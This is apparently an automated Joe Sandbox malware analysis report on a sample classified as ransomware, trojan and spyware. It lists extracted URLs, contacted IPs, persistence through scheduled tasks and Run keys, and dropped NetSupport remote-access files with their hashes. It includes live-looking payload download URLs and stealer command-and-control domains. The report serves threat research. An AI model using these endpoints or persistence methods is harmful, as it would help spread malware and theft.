https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://deafeninggeh.biz/e	8ZVMneG.exe, 00000054.00000003.2712485974.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false
https://diffuculttan.xyz/api	8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/.	d0ef52de9f.exe, 0000005F.00000003.2934892594.00000000012D6000.00000004.00000020.00020000.00000000.sdmp	false
https://s.ytimg.com;	8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.2659507683.0000028A855F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2645286273.0000021F94571000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D790000.00000004.00001000.00020000.00000000.sdmp	false
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	D1UL0FG.exe, 00000006.00000002.2997186323.000001FA2E940000.00000004.00001000.00020000.00000000.sdmp	false
http://31.41.244.11/files/1293295511/UZAj8wc.exe	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp	false
https://lev-tolstoi.com/rtner.-K	8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/profiles/76561199724331900	8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000037.00000002.2645286273.0000021F947A5000.00000004.00000800.00020000.00000000.sdmp	false
http://31.41.244.11/files/karl/random.exe	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000037.00000002.2645286273.0000021F947A5000.00000004.00000800.00020000.00000000.sdmp	false
https://wrathful-jammy.cyou/	8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	D1UL0FG.exe, 00000006.00000002.2989919313.000001FA2BF31000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/	D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000037.00000002.2645286273.0000021F95ED9000.00000004.00000800.00020000.00000000.sdmp	false
https://pancakedipyps.click/apiP	d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	false
https://httpbin.org/	D1UL0FG.exe, 00000006.00000003.2537129441.000001FA2DFF1000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	false
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	D1UL0FG.exe, 00000006.00000003.2483191115.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D81C000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D790000.00000004.00001000.00020000.00000000.sdmp	false
http://127.0.0.1	m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	false
https://immureprech.biz/api	8ZVMneG.exe, 00000054.00000003.2800061103.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	false
http://www.symauth.com/cps0(	m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false
https://immureprech.biz/apif	8ZVMneG.exe, 00000054.00000003.2800061103.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	false
https://lv.queniujq.cn	8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/profiles/76561199724331900/inventory/	8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/	8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000037.00000002.2645286273.0000021F947A5000.00000004.00000800.00020000.00000000.sdmp	false
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490431085.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://lev-tolstoi.com/u/	8ZVMneG.exe, 00000054.00000003.2800061103.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	false
https://MD8.mozilla.org/1/m	D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECF0000.00000004.00001000.00020000.00000000.sdmp	false
https://lev-tolstoi.com/eK	8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	false
https://www.bbc.co.uk/	D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.16/off/random.exe/	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false
https://lev-tolstoi.com/api	8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3045357571.0000000001365000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	false
https://api.gofile.io/getServerr=r	D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	false
https://bugzilla.mo	D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECF0000.00000004.00001000.00020000.00000000.sdmp	false
http://tools.ietf.org/html/rfc6125#section-6.4.3	D1UL0FG.exe, 00000006.00000002.2997186323.000001FA2E940000.00000004.00001000.00020000.00000000.sdmp	false
http://www.symauth.com/rpa00	m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000011.00000002.2659507683.0000028A8581A000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/recaptcha/	8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	false
https://checkout.steampowered.com/	8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	D1UL0FG.exe, 00000006.00000003.2562812810.000001FA2E5A9000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false
https://google.com/mail	D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	false
https://deafeninggeh.biz/apiz1	8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2712485974.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	false
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	D1UL0FG.exe, 00000006.00000003.2483191115.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp	false
https://www.iqiyi.com/	D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490431085.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.66.86	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.19.227	unknown	United States	15169	GOOGLEUS	false
185.215.113.64	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.180.113	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.68.212	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.23.76	unknown	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
208.95.112.1	unknown	United States	53334	TUT-ASUS	false
149.154.167.220	unknown	United Kingdom	62041	TELEGRAMRU	false
23.55.153.106	unknown	United States	20940	AKAMAI-ASN1EU	false
104.131.68.180	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
178.62.201.34	unknown	European Union	14061	DIGITALOCEAN-ASNUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578555
Start date and time:	2024-12-19 22:09:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	112
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@187/113@0/14
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Skipping network analysis since amount of network traffic is too extensive
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:10:21	API Interceptor	15333443x Sleep call for process: skotes.exe modified
16:10:44	API Interceptor	166x Sleep call for process: powershell.exe modified
16:10:46	API Interceptor	2x Sleep call for process: WMIC.exe modified
16:10:57	API Interceptor	13x Sleep call for process: 8ZVMneG.exe modified
16:11:11	API Interceptor	8x Sleep call for process: d0ef52de9f.exe modified
16:11:16	API Interceptor	16x Sleep call for process: d188864e84.exe modified
16:11:31	API Interceptor	13568451x Sleep call for process: FuturreApp.exe modified
22:10:14	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
22:12:05	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
22:12:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f8645e1e85.exe C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe
22:12:53	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fde98a8d0b.exe C:\Users\user\AppData\Local\Temp\1017910001\fde98a8d0b.exe
22:13:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 67fbb282d1.exe C:\Users\user\AppData\Local\Temp\1017911001\67fbb282d1.exe
22:13:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f7b3852b06.exe C:\Users\user\AppData\Local\Temp\1017912001\f7b3852b06.exe
22:13:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f8645e1e85.exe C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe
22:13:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fde98a8d0b.exe C:\Users\user\AppData\Local\Temp\1017910001\fde98a8d0b.exe
22:13:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 67fbb282d1.exe C:\Users\user\AppData\Local\Temp\1017911001\67fbb282d1.exe
22:13:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f7b3852b06.exe C:\Users\user\AppData\Local\Temp\1017912001\f7b3852b06.exe
22:13:55	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ApproximateSize.vbs
22:16:59	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105848
Entropy (8bit):	4.68250265552195
Encrypted:	false
SSDEEP:	384:qTjV5+6j6Qa86Fkv2Wr120hZIqeTSGRp2TkFimMP:qHVZl6FhWr80/heT8TkFiH
MD5:	8D9709FF7D9C83BD376E01912C734F0A
SHA1:	E3C92713CE1D7EAA5E2B1FABEB06CDC0BB499294
SHA-256:	49A568F8AC11173E3A0D76CFF6BC1D4B9BDF2C35C6D8570177422F142DCFDBE3
SHA-512:	042AD89ED2E15671F5DF67766D11E1FA7ADA8241D4513E7C8F0D77B983505D63EBFB39FEFA590A2712B77D7024C04445390A8BF4999648F83DBAB6B0F04EB2EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\FuturreApp.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@..................................K....@.................................< ..<....0...i...........t..x).......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\HTCTL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\NSM.LIC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	5.119720931145611
Encrypted:	false
SSDEEP:	6:O/oPn4xRPjwx1lDKHMoEEjLgpW2MezvLdNWYpPM/ioVLa8l6i7s:XeR7wx6JjjqW2MePBPM/ioU8l6J
MD5:	7067AF414215EE4C50BFCD3EA43C84F0
SHA1:	C331D410672477844A4CA87F43A14E643C863AF9
SHA-256:	2050CC232710A2EA6A207BC78D1EAC66A4042F2EE701CDFEEE5DE3DDCDC31D12
SHA-512:	17B888087192BCEA9F56128D0950423B1807E294D1C4F953D1BF0F5BD08E5F8E35AFEEE584EBF9233BFC44E0723DB3661911415798159AC118C8A42AAF0B902F
Malicious:	false
Reputation:	unknown
Preview:	1200..0x3bcb348e....; NetSupport License File...; Generated on 11:54 - 21/03/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=EVALUSION..maxslaves=5000..os2=1..product=10..serial_no=NSM165348..shrink_wrap=0..transport=0..

C:\Users\Public\Netstat\PCICHEK.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\PCICL32.DLL

Download File

